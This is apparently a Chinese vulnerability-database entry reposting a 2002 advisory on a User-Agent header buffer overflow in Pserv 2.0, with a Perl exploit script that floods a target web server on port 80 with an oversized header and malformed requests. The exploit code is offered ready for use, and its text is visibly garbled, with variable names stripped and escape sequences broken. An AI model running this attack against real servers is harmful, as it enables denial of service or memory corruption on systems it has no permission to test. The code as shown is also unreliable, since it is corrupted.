Pserv 2.0 – User-Agent HTTP Header Buffer Overflow (1)
漏洞ID | 1053654 | 漏洞类型 | |
发布时间 | 2002-11-30 | 更新时间 | 2002-11-30 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/6286/info
A buffer overflow vulnerability has been reported in Pserv. The buffer overflow condition is due to the way Pserv handles data streams from remote connections.
An attacker can exploit this vulnerability by issuing a HTTP request with an overly long User-Agent header. Due to insufficient buffers being allocated when processing the data, it may be possible to corrupt sensitive memory on the system stack.
#!/usr/bin/perl -w
use IO::Socket;
= "Pserv 2.0 Beta 1, 2, 3, 5";
unless (@ARGV == 1) {
print "n By Sapient2003n";
die "usage: -bash <host to exploit>n";
}
print "n By Sapient2003n";
= "A" x 500;
= "GET / HTTP/1.0nUser-Agent: nn";
= "GET / HTTP/1.0nn";
= "GET / HTTP/1.nn";
= IO::Socket::INET->new(
PeerAddr => [0],
PeerPort => 80,
Proto => "tcp",
) or die "Can't find host [0]n";
print ;
print "Attempted to exploit User-Agent HTTP Headern";
close();
= IO::Socket::INET->new(
PeerAddr => [0],
PeerPort => 80,
Proto => "tcp",
) or die "Can't find host [0]n";
print ;
print "Attempted to exploit HTTP Request Parsingn";
close();
A1 HTTP服务器缓冲区溢出漏洞 漏洞ID 1205820 漏洞类型 缓冲区溢出 发布时间 2001-05-03 更新时间 2001-05-03 CVE编号 CVE-2001-0285 CNNVD-ID CNNVD-200105-011 漏洞平台 N/A C…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666